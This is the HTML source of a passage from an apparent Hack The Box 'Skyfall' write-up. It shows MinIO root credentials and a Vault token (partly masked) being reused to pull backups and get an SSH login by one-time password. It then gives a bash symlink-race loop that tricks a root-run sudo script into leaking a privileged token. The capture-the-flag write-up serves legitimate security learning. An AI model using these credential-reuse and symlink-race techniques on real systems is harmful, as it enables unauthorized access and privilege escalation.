class="s2">&amp;#34;MINIO_CONFIG_ENV_FILE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;config.env&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_KMS_SECRET_KEY_FILE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;kms_master_key&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_PROMETHEUS_AUTH_TYPE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;public&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_ROOT_PASSWORD&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;Gkpjk********3oRx0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_ROOT_PASSWORD_FILE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;secret_key&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_ROOT_USER&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;5GrE1********ZaIww&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_ROOT_USER_FILE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;access_key&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_SECRET_KEY_FILE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;secret_key&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_UPDATE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;off&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_UPDATE_MINISIGN_PUBKEY&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav&amp;#34;&lt;/span>&lt;span class="p">}}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking at the &lt;a class="link" href="https://min.io/docs/minio/linux/reference/minio-mc.html" target="_blank" rel="noopener"
>Minio Docs&lt;/a>, I found a way to use these creds. To interact with the storage a cli tool &lt;a class="link" href="https://min.io/docs/minio/linux/reference/minio-mc.html?ref=docs" target="_blank" rel="noopener"
>mc&lt;/a>
is also available. To connect to the storage we need to add an alias with the root user and root password.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">mc&lt;/span> &lt;span class="n">alias&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">ALIAS&lt;/span> &lt;span class="n">HOSTNAME&lt;/span> &lt;span class="n">ACCESS_KEY&lt;/span> &lt;span class="n">SECRET_KEY&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/mcaliasadd.png"
width="2868"
height="816"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/mcaliasadd_hu6df476d2a2255e00bb0b188bb137a9ab_159247_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/mcaliasadd_hu6df476d2a2255e00bb0b188bb137a9ab_159247_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="351"
data-flex-basis="843px"
>
Now using &lt;code>mc alias list&lt;/code>, i can see the endpoint is now accessible. Now mc has very similar commands to unix system to interact with files. I started enumerating the storage. Now in the docs I saw a &lt;code>version&lt;/code> flag also which shows that similar to github, versioning of files might be done.&lt;/p>
&lt;div style="display: flex; justify-content: space-between;">
&lt;img src="mcversioning.png" alt="Image 1" style="width: 34%;"/>
&lt;img src="mcversioningtwo.png" alt="Image 2" style="width: 64%;"/>
&lt;/div>
So I listed all the versions of available files in storage.
&lt;br>
&lt;div style="display: flex; justify-content: space-between;">
&lt;img src="mclistall.png" alt="Image 1" style="width: 100%;"/>
&lt;/div>
&lt;br>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">mc&lt;/span> &lt;span class="n">get&lt;/span> &lt;span class="o">--&lt;/span>&lt;span class="n">vid&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">ver_no&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">juicy&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">askyy&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">home_backup&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">tar&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">gz&lt;/span> &lt;span class="o">.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Going through all the files, every version, I found some juicy info.
Some variable entries in the &lt;code>.bashrc&lt;/code> file, and a terraform-generator.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">export&lt;/span> &lt;span class="n">VAULT_API_ADDR&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;http://********.skyfall.htb&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">export&lt;/span> &lt;span class="n">VAULT_TOKEN&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;hvs.CAESIJlU**********NMnZhakZDRlZGdGVzN09xYkxTQVE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking on google for what both might say lead me to &lt;a class="link" href="https://developer.hashicorp.com/vault" target="_blank" rel="noopener"
>HashiCorp&lt;/a>.&lt;/p>
&lt;div style="display: flex; justify-content: space-between;">
&lt;img src="hashicorp.png" alt="Image 1" style="width: 100%;"/>
&lt;/div>
&lt;div class="notice notice-info">
&lt;span style="color: #d461e8">Vault&lt;/span>: Secure, store, and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets, and other sensitive data using a UI, CLI, or HTTP API.
&lt;/div>
&lt;p>So now, time to enumerate the vault. I found out that there is a &lt;a class="link" href="https://developer.hashicorp.com/vault/install" target="_blank" rel="noopener"
>CLI tool&lt;/a> also available to interact with the vault.
Looking at the help menu, noticed something, 😁😁
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/vaulthelp.png"
width="1452"
height="212"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/vaulthelp_hu1ef65991b151b516cefe0085a3976910_44559_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/vaulthelp_hu1ef65991b151b516cefe0085a3976910_44559_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="684"
data-flex-basis="1643px"
>
Now since, there was only port 22 left to be enumerated, I looked for the documentation to use this vault ssh.
&lt;div class="notice notice-info">
The &lt;span style="color: #d461e8">Vault SSH&lt;/span> secrets engine provides secure authentication and authorization for access to machines via the SSH protocol. The Vault SSH secrets engine helps manage access to machine infrastructure, providing several ways to issue SSH credentials. ===> Meaning instead of password, I can use the OTP to login.
&lt;/div>
I added the earlier found variables to my &lt;code>.bashrc&lt;/code> and sourced it. To test, I used the connection, I used the &lt;code>status&lt;/code> argument, but met with an error, which also gave me a fix to correct the error🫠.
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/vaultaddr.png"
width="2786"
height="486"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/vaultaddr_hu6cadbec797607baf3b125ae303347bd2_84267_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/vaultaddr_hu6cadbec797607baf3b125ae303347bd2_84267_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="573"
data-flex-basis="1375px"
>
Now running the &lt;code>vault status&lt;/code> command again, I could see the information.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">vault&lt;/span> &lt;span class="n">token&lt;/span> &lt;span class="n">lookup&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Key&lt;/span> &lt;span class="n">Value&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">--- -----&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">accessor&lt;/span> &lt;span class="n">rByv1coOBC9ITZpzqbDtTUm8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">creation_time&lt;/span> &lt;span class="mi">1699563963&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">creation_ttl&lt;/span> &lt;span class="mi">768&lt;/span>&lt;span class="n">h&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">display_name&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">askyy&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">entity_id&lt;/span> &lt;span class="n">n&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">a&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">expire_time&lt;/span> &lt;span class="mi">2073&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="n">T21&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">03.043964076&lt;/span>&lt;span class="n">Z&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">explicit_max_ttl&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">s&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">id&lt;/span> &lt;span class="n">hvs&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="o">******************&lt;/span>&lt;span class="n">zN09xYkxTQVE&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">issue_time&lt;/span> &lt;span class="mi">2023&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">09&lt;/span>&lt;span class="n">T21&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">03.445155372&lt;/span>&lt;span class="n">Z&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">last_renewal&lt;/span> &lt;span class="mi">2023&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="n">T16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">43&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">24.043964166&lt;/span>&lt;span class="n">Z&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">last_renewal_time&lt;/span> &lt;span class="mi">1700498604&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meta&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="kc">nil&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">num_uses&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">orphan&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">path&lt;/span> &lt;span class="n">auth&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">create&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">policies&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">default&lt;/span> &lt;span class="n">developers&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">renewable&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ttl&lt;/span> &lt;span class="mi">432193&lt;/span>&lt;span class="n">h34m22s&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">type&lt;/span> &lt;span class="n">service&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The token belongs to &lt;code>askyy&lt;/code> user, so will be the ssh session then. 🙌
Looking at various articles: &lt;a class="link" href="https://irezyigit.medium.com/vault-part9-deeper-look-into-tokens-72da0dceb5ef" target="_blank" rel="noopener"
>help-one&lt;/a> &lt;a class="link" href="https://developer.hashicorp.com/vault/docs/secrets/ssh/one-time-ssh-passwords" target="_blank" rel="noopener"
>help-two&lt;/a> on how to interact with the vault. I found&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">vault&lt;/span> &lt;span class="n">path&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">help&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">##&lt;/span> &lt;span class="n">DESCRIPTION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">The&lt;/span> &lt;span class="n">SSH&lt;/span> &lt;span class="n">backend&lt;/span> &lt;span class="n">generates&lt;/span> &lt;span class="n">credentials&lt;/span> &lt;span class="n">allowing&lt;/span> &lt;span class="n">clients&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">establish&lt;/span> &lt;span class="n">SSH&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">connections&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">remote&lt;/span> &lt;span class="n">hosts&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">There&lt;/span> &lt;span class="n">are&lt;/span> &lt;span class="n">two&lt;/span> &lt;span class="n">variants&lt;/span> &lt;span class="n">of&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">backend&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">which&lt;/span> &lt;span class="n">generate&lt;/span> &lt;span class="n">different&lt;/span> &lt;span class="n">types&lt;/span> &lt;span class="n">of&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">credentials&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">One&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Time&lt;/span> &lt;span class="n">Passwords&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">OTPs&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">certificate&lt;/span> &lt;span class="n">authority&lt;/span>&lt;span class="p">.&lt;/span> &lt;span class="n">The&lt;/span> &lt;span class="n">desired&lt;/span> &lt;span class="n">behavior&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">is&lt;/span> &lt;span class="n">role&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">specific&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">chosen&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="n">role&lt;/span> &lt;span class="n">creation&lt;/span> &lt;span class="n">time&lt;/span> &lt;span class="n">with&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="s1">&amp;#39;key_type&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">parameter&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">##&lt;/span> &lt;span class="n">PATHS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">^&lt;/span>&lt;span class="n">roles&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">role&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">w&lt;/span>&lt;span class="p">(([&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">w&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">?\&lt;/span>&lt;span class="n">w&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Manage&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="s1">&amp;#39;roles&amp;#39;&lt;/span> &lt;span class="n">that&lt;/span> &lt;span class="n">can&lt;/span> &lt;span class="n">be&lt;/span> &lt;span class="n">created&lt;/span> &lt;span class="n">with&lt;/span> &lt;span class="n">this&lt;/span> &lt;span class="n">backend&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">^&lt;/span>&lt;span class="n">roles&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">?$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Manage&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="s1">&amp;#39;roles&amp;#39;&lt;/span> &lt;span class="n">that&lt;/span> &lt;span class="n">can&lt;/span> &lt;span class="n">be&lt;/span> &lt;span class="n">created&lt;/span> &lt;span class="n">with&lt;/span> &lt;span class="n">this&lt;/span> &lt;span class="n">backend&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">vault&lt;/span> &lt;span class="n">token&lt;/span> &lt;span class="n">capabilities&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">list&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">vault&lt;/span> &lt;span class="n">kv&lt;/span> &lt;span class="n">list&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">roles&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Keys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">----&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">admin_otp_key_role&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">dev_otp_key_role&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now looking at the output, I can see that out of the two ways of ssh, it uses the &lt;code>OTP&lt;/code> method. The &lt;a class="link" href="https://developer.hashicorp.com/vault/docs/secrets/ssh/one-time-ssh-passwords" target="_blank" rel="noopener"
>help-two&lt;/a> shows two flags to be passed, &lt;code>-role&lt;/code> and &lt;code>-mode&lt;/code>. I have values for both. The &lt;code>-mode&lt;/code> is &lt;code>otp&lt;/code>, now out of the two values I have of &lt;code>-role&lt;/code>, only the &lt;code>dev_otp_key_role&lt;/code> worked and got the user &lt;code>askyy&lt;/code> shell. 😁😁
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshaskyy.png"
width="2034"
height="814"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshaskyy_hue5d7c2230e26c484f4cb61e69795b0a3_182520_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshaskyy_hue5d7c2230e26c484f4cb61e69795b0a3_182520_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="249"
data-flex-basis="599px"
>&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation
&lt;/h2>&lt;p>I looked now ways to privesc. Running &lt;code>sudo -l&lt;/code> gave me that.
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sudol.png"
width="2624"
height="310"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sudol_hu3807f68e704893f6977b619637333150_95465_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sudol_hu3807f68e704893f6977b619637333150_95465_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="846"
data-flex-basis="2031px"
>
Now there was no read/write access to the concerned files.&lt;/p>
&lt;ul>
&lt;li>I tried &lt;span style="color: #d461e8">command injection&lt;/span>, but since a regex is being used, I was not able to bypass it.&lt;/li>
&lt;li>While running with &lt;code>-v&lt;/code> option, I noticed some high privileged token printed as ******,&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sudov.png"
width="1622"
height="684"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sudov_huf0695ccf5649134b8b240cbe2a66b77a_162645_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sudov_huf0695ccf5649134b8b240cbe2a66b77a_162645_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="237"
data-flex-basis="569px"
>
Now adding the &lt;code>-d&lt;/code> flag, the token is stored in a &lt;code>debug.log&lt;/code> file in the same directory from where the script was run. But it was created with only access to &lt;code>root&lt;/code> user. I tried &lt;span style="color: #d461e8">creating the file beforehand&lt;/span>, making it world-readable/writable, but no whenever I run the script, it removes the file if exists, then creates a new file with only &lt;code>root&lt;/code> readable, then writes to it.&lt;/p>
&lt;ul>
&lt;li>Next I tried by creating a &lt;span style="color: #d461e8">symlink&lt;/span> to another file hoping that the linked file will be written which I control then I can read it. But that linked file only got changed🫠🫠&lt;/li>
&lt;/ul>
&lt;p>I tried many different methods from here on. Tried different variations of the &lt;code>symlink&lt;/code> method. I looked for &lt;code>sudo&lt;/code> exploits. Tried making the script write to &lt;code>/dev/tcp&lt;/code>, &lt;code>/dev/shm&lt;/code>, &lt;code>/tmp&lt;/code>, in every case either the file was not created or not readable. Even &lt;code>linpeas.sh&lt;/code> did not gave me anything userful.&lt;/p>
&lt;p>Now I got fed up and stopped this shit. 🙃🙃🙃&lt;/p>
&lt;h3 id="after-9-days-">After 9 days 🥸🥸🥸
&lt;/h3>&lt;p>I started searching for various privesc methods online. Nothing interesting. Now I thought why not ask chatgpt(glad I did🫠). It gave me several methods that I had already tried, even the symlink one. After a lot of back and fourth, it was insisting me to try the symlink method. So I searched on google for potential exploits. I got this &lt;a class="link" href="https://int0x33.medium.com/day-50-symbolic-link-attack-overwrite-root-files-with-suid-root-invocation-b9d4d6627233" target="_blank" rel="noopener"
>symbolic race attack&lt;/a> article, which was the needed path for privesc.
&lt;div class="notice notice-info">
&lt;span style="color: #d461e8">Wikipedia&lt;/span>: A symlink race is a kind of software security vulnerability that results from a program creating files in an insecure manner.[1] A malicious user can create a symbolic link to a file not otherwise accessible to them. When the privileged program creates a file of the same name as the symbolic link, it actually creates the linked-to file instead, possibly inserting content desired by the malicious user (see example below), or even provided by the malicious user (as input to the program). It is called a "race" because in its typical manifestation, the program checks to see if a file by that name already exists; if it does not exist, the program then creates the file. &lt;span style="color: #d461e8">An attacker must create the link in the interval between the check and when the file is created.&lt;/span>
&lt;/div>&lt;/p>
&lt;p>So in this case, what I have to do is time the symlinking of &lt;code>debug.log&lt;/code> file to a file controlled by me, &lt;code>my_log&lt;/code> exactly between the script checking the file&amp;rsquo;s presence and creating it. So to do this, I need to&lt;/p>
&lt;ul>
&lt;li>Create a script that will run continuously in a loop to do two things,
&lt;ul>
&lt;li>remove the debug.log file&lt;/li>
&lt;li>create a symlink from &lt;code>debug.log&lt;/code> file to &lt;code>my_log&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>In another terminal, keep on running the sudo script and checking if the &lt;code>my_log&lt;/code> has been written with the contents of &lt;code>debug.log&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>I created a &lt;code>toot&lt;/code> directory in &lt;code>/home/askyy&lt;/code>. I created a &lt;code>my_log&lt;/code> file world readable/writable permissions. Then the following script, and executed it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="k">while&lt;/span> true&lt;span class="p">;&lt;/span> &lt;span class="k">do&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> rm -f /home/askyy/tmp/debug.log
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ln -s /home/askyy/tmp/my_log /home/askyy/tmp/debug.log
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I got another ssh session in another terminal. Then kept on executing the following code to check the successful timing of the attack.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">askyy&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">skyfall&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">~&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vault&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vault&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">unseal&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">etc&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vault&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">unseal.yaml&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">ls&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">la&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After some 10-11 tries, I saw the contents had bee written to &lt;code>my_log&lt;/code> file. s
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/yippe.png"
width="1968"
height="472"
